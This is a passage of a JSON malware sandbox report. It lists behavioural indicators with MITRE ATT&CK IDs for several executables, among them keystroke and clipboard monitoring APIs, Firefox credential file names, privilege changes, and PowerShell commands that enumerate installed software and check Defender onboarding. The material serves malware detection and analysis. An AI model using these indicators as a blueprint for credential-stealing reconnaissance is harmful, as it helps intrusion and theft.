to API \"54,6864,3024,,RtlGetVersion,NTDLL.dll,\"01:11:23.718\",RX=0,PX=0\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00006552.00000000.274161.9E150000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to import GetCommandLine API, which retrieves the command line string for the current process","description":"Observed import api \"GetCommandLineA\" which can \"retrieve the command-line string for the current process\" [Source: helper.exe]","origin":"Static Parser","mitre_attack_id":"T1059.003","relevance":1,"id":"static-88","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to monitor clipboard data (API string)","description":"Found string \"AddClipboardFormatListener\" (Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1115","relevance":1,"id":"string-925","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to query registry keys (API string)","description":"Found registry query API: \"RegOpenKeyExW\" in \"00000000-00003480.00000000.275067.4F99B000.00000002.mdmp\"\n Found registry query API: \"RegQueryInfoKeyW\" in \"00000000-00003480.00000000.275067.4F99B000.00000002.mdmp\"\n Found registry query API: \"RegEnumValueW\" in \"00000000-00003480.00000000.275067.4F99B000.00000002.mdmp\"\n Found registry query API: \"RegGetValueW\" in \"00000000-00003480.00000000.275067.4F99B000.00000002.mdmp\"\n Found registry query API: \"RegQueryValueExW\" in \"00000000-00004512.00000000.274160.C1C22000.00000002.mdmp\"\n Found registry query API: \"LdrpQueryValueKey\" in \"00000000-00006548.00000000.273667.A24C0000.00000004.mdmp, 00000000-00006548.00000001.273794.A24C0000.00000004.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve information about pressed keystrokes (API string)","description":"Found reference to API \"AttachThreadInput\" (Indicator: \"AttachThreadInput\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")\n Found reference to API \"MapVirtualKeyW\" (Indicator: \"MapVirtualKey\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")\n Found reference to API \"GetKeyboardState\" (Indicator: \"GetKeyboardState\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-88","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve logical drive information (API string)","description":"Found reference to API \"GetLogicalDrives\" (Indicator: \"GetLogicalDrives\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-80","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve usernames and/or user information (API string)","description":"Found reference to API \"GetTokenInformation\" (Indicator: \"GetTokenInformation\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")\n Found reference to API \"LookupAccountSidW\" (Indicator: \"LookupAccountSid\"; Source: \"00000000-00004512.00000000.274160.C1C22000.00000002.mdmp\")\n Found reference to API \"GetProcessWindowStation\" (Indicator: \"GetProcessWindowStation\"; Source: \"00000000-00004512.00000000.274160.C1C22000.00000002.mdmp\")\n Found reference to API \"NtQueryInformationProcess\" (Indicator: \"NtQueryInformationProcess\"; Source: \"00000000-00004512.00000000.274160.C1C22000.00000002.mdmp\")\n Found reference to API \"GetUserNameExW\" (Indicator: \"GetUserName\"; Source: \"00000000-00004512.00000000.274160.C1C22000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Attempts to get system information using PowerShell","description":"Process \"powershell.exe\" with commandline \"\"powershell\" -Command \"Get-ItemProperty HKLM:\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall\\\\* | Select-Object DisplayName\"\" (UID: 00000000-00008084)","origin":"Monitored Target","mitre_attack_id":"T1082","relevance":1,"id":"target-289","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$66","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"file.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"file.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"2\"\n \"th32ProcessID\": \"0\"}\n \"uzbektajik.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"helper.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"powershell.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"tasklist.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"lss.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"netsh.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to enumerate Windows drive types","description":"\"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00008084)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter Z:\\ (UID: 00000000-00008084)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00006552)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter Z:\\ (UID: 00000000-00006552)","origin":"API Call","mitre_attack_id":"T1680","relevance":7,"id":"api-327","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve computer name","description":"\"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00008084)\n \"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00006552)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-141","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"powershell.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"09000000001000000000010000000000fffffeffff7f0000ff0000000000000008000000d8210000000001000600004f\"}\n \"powershell.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"09000000001000000000010000000000fffffeffff7f0000030000000000000002000000d8210000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"2\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00008084)\n \"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"65538\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00006552)","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$67","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to access clipboard data (API string)","description":"Found reference to API \"OpenClipboard\" (Indicator: \"OpenClipboard\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")\n Found reference to API \"GetClipboardData\" (Indicator: \"GetClipboardData\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1115","relevance":1,"id":"string-188","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"Found reference to API \"FindFirstFileExW\" (Indicator: \"FindFirstFile\"; File: \"file\")\n Found reference to API \"FindNextFileW\" (Indicator: \"FindNextFile\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")\n Found reference to API \"FindFirstFileExW\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate objects (Powershell command string)","description":"Found string \"Get-ItemProperty HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\* | Select-Object DisplayName\" (Indicator: \"Select-Object\"; File: \"AMSI\")\n Found string \"c' -ErrorAction SilentlyContinue | Select-Object -First 1; if($p){Write-Output $p.PackageFamilyName}\" (Indicator: \"Select-Object\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")\n file/memory contains long string with (Indicator: \"Where-Object\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-374","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$68","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate running processes using Tasklist","description":"$69","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-517","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate system network resources (API string)","description":"Found reference to API \"WNetOpenEnumA\" (Indicator: \"WNetOpenEnum\"; File: \"file\")\n Found reference to API \"WNetOpenEnumA\" (Indicator: \"WNetOpenEnum\"; Source: \"00000000-00006548.00000001.273794.03DA7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1135","relevance":1,"id":"string-313","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; File: \"file\")\n Found reference to API \"NtReadFile\" (Indicator: \"NtReadFile\"; File: \"file\")\n Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")\n Found reference to API \"NtReadFile\" (Indicator: \"NtReadFile\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")\n Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00004512.00000000.274160.C1C22000.00000002.mdmp\")\n Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00006548.00000001.273794.03DA7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"$6a","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"file\")\n Found reference to API \"GetProcAddressA\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00003480.00000000.275067.4F99B000.00000002.mdmp\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00004512.00000000.274160.C1C22000.00000002.mdmp\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00006548.00000001.273794.03DA7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"$6b","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve files based on search patterns","description":"Found string \"WHERE rowid=?1\" (Indicator: \"where \"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")\n Found string \"WHERE name=%Q\" (Indicator: \"where \"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-484","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve process ID (API string)","description":"Found reference to API \"GetProcessId\" (Indicator: \"GetProcessId\"; File: \"file\")\n Found reference to API \"GetProcessId\" (Indicator: \"GetProcessId\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-478","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve specified item(s) (Powershell command string)","description":"Found string \"Get-ItemProperty HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\* | Select-Object DisplayName\" (Indicator: \"Get-ItemProperty\"; File: \"AMSI\")\n Found string \"$sig=Get-AuthenticodeSignature -LiteralPath $exe;\" (Indicator: \"Get-AuthenticodeSignature\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")\n Found string \"$onboard=(Get-ItemProperty -Path 'HKLM:\\SOFTWARE\\Microsoft\\Windows Advanced Threat Protection\\Status' -Name OnboardingState -ErrorAction SilentlyContinue).OnboardingState;\" (Indicator: \"Get-ItemProperty\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")\n file/memory contains long string with (Indicator: \"Get-Command\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-394","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the NetBIOS name of the local computer (API string)","description":"Found reference to API \"GetComputerNameExW\" (Indicator: \"GetComputerName\"; Source: \"00000000-00003480.00000000.275067.4F99B000.00000002.mdmp\")\n Found reference to API \"GetComputerNameExW\" (Indicator: \"GetComputerName\"; Source: \"00000000-00004512.00000000.274160.C1C22000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-122","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; File: \"file\")\n Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; File: \"file\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00004512.00000000.274160.C1C22000.00000002.mdmp\")\n Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00006548.00000001.273794.03DA7000.00000002.mdmp\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00006548.00000001.273794.03DA7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host's architecture (API string)","description":"Found reference to API \"GetEnvironmentVariableA\" (Indicator: \"GetEnvironmentVariable\"; File: \"file\")\n Found reference to API \"GetEnvironmentVariableW\" (Indicator: \"GetEnvironmentVariable\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")\n Found reference to API \"GetEnvironmentVariableA\" (Indicator: \"GetEnvironmentVariable\"; Source: \"00000000-00006548.00000001.273794.03DA7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-107","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the local name for a socket (API string)","description":"Found reference to API \"getsockname\" (Indicator: \"getsockname\"; File: \"file\")\n Found reference to API \"getsockname\" (Indicator: \"getsockname\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-224","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the specified system metric or system configuration setting (API string)","description":"Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; File: \"file\")\n Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")\n Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00006548.00000001.273794.03DA7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-131","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"file\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")\n Found reference to API \"GetTickCount64\" (Indicator: \"GetTickCount\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00003480.00000000.275067.4F99B000.00000002.mdmp\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00004512.00000000.274160.C1C22000.00000002.mdmp\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00006548.00000001.273794.03DA7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve token privileges information (API string)","description":"Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00003480.00000000.275067.4F99B000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-437","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"$6c","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found registry key string for installed applications","description":"$6d","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-96","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system command-related strings","description":"$6e","origin":"File/Memory","mitre_attack_id":"T1082","relevance":7,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"References Firefox browser credentials files","description":"Found string \"cookies.sqliteplaces.sqlitelogins.jsonkey4.dbstoragesessionstore.jsonlz4sessionstore-backups&backstage.firefox.profile_debug stage=\" (Indicator: \"key4.db\"; in Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")\n Found string \"cookies.sqliteplaces.sqlitelogins.jsonkey4.dbstoragesessionstore.jsonlz4sessionstore-backups&backstage.firefox.profile_debug stage=\" (Indicator: \"logins.json\"; in Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1555.003","relevance":1,"id":"string-405","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"References to WMI query strings used for information discovery","description":"$6f","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-507","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Retrieves specified items using PowerShell","description":"Process \"powershell.exe\" with commandline \"\"powershell\" -Command \"Get-ItemProperty HKLM:\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall\\\\* | Select-Object DisplayName\"\" (UID: 00000000-00008084)","origin":"Monitored Target","mitre_attack_id":"T1082","relevance":1,"id":"target-477","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Tries to enumerate objects using PowerShell","description":"Process \"powershell.exe\" with commandline \"\"powershell\" -Command \"Get-ItemProperty HKLM:\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall\\\\* | Select-Object DisplayName\"\" (UID: 00000000-00008084)","origin":"Monitored Target","mitre_attack_id":"T1082","relevance":3,"id":"target-442","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"System Security","name":"Able to delete registry key/value (API string)","description":"Found registry deletion API: \"RegDeleteValueW\" in \"00000000-00003480.00000000.275067.4F99B000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-230","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"file.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00006548)\n \"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00008084)\n \"tasklist.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00004512)\n \"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00006552)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"$70","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete device driver (API string)","description":"Found reference to API \"IoDeleteDevice\" (Indicator: \"IoDeleteDevice\"; File: \"file\")","origin":"File/Memory","mitre_attack_id":"T1685","relevance":1,"id":"string-463","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"Found reference to API \"DeleteFileA\" (Indicator: \"DeleteFile\"; File: \"file\")\n Found reference to API \"DeleteFileA\" (Indicator: \"DeleteFile\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")\n Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")\n Found reference to API \"RemoveDirectoryW\" (Indicator: \"RemoveDirectory\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")\n Found reference to API \"DeleteFileA\" (Indicator: \"DeleteFile\"; Source: \"00000000-00006548.00000001.273794.03DA7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00003480.00000000.275067.4F99B000.00000002.mdmp\")\n Found reference to API \"SeDebugPrivilege\" (Indicator: \"SeDebugPrivilege\"; Source: \"00000000-00004512.00000000.274160.08E50000.00000004.mdmp, 00000000-00004512.00000000.274160.C1C22000.00000002.mdmp\")\n Found reference to API \"LookupPrivilegeValueW\" (Indicator: \"LookupPrivilegeValue\"; Source: \"00000000-00004512.00000000.274160.C1C22000.00000002.mdmp\")\n Found reference to API \"AdjustTokenPrivileges\" (Indicator: \"AdjustTokenPrivileges\"; Source: \"00000000-00004512.00000000.274160.C1C22000.00000002.mdmp\")\n Found reference to API \"SeLoadDriverPrivilege\" (Indicator: \"SeLoadDriverPrivilege\"; Source: \"00000000-00006548.00000000.273667.A24C0000.00000004.mdmp, 00000000-00006548.00000001.273794.A24C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify process attributes (API string)","description":"Found reference to API \"InitializeProcThreadAttributeList\" (Indicator: \"InitializeProcThreadAttributeList\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")\n Found reference to API \"UpdateProcThreadAttribute\" (Indicator: \"UpdateProcThreadAttribute\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1685","relevance":1,"id":"string-402","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"Found reference to API \"GetTokenInformation\" (Indicator: \"GetTokenInformation\"; Source: \"00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\")\n Found reference to API \"CreateWellKnownSid\" (Indicator: \"CreateWellKnownSid\"; Source: \"00000000-00003480.00000000.275067.4F99B000.00000002.mdmp\")\n Found reference to API \"NtPrivilegeCheck\" (Indicator: \"PrivilegeCheck\"; Source: \"00000000-00006548.00000000.273667.A24C0000.00000004.mdmp, 00000000-00006548.00000001.273794.A24C0000.00000004.mdmp\")\n Found reference to API \"SepAccessCheckAndAuditAlarm\" (Indicator: \"AccessCheck\"; Source: \"00000000-00006548.00000000.273667.A447E000.00000004.mdmp, 00000000-00006548.00000001.273794.A447E000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"level":"informative","category":"System Security","name":"Contains ability to shutdown system","description":"Observed string: \"shutdown\" (Indicator: \"shutdown\") in Source: file\n Observed string: \"shutdown\" (Indicator: \"shutdown\") in Source: 00000000-00003200.00000000.274104.53EAD000.00000002.mdmp\n Observed string: \"Shutdown System Privilege\" (Indicator: \"shutdown \") in Source: 00000000-00004512.00000000.274160.0A840000.00000002.mdmp\n Observed string: \"Shutdown\" (Indicator: \"shutdown\") in Source: 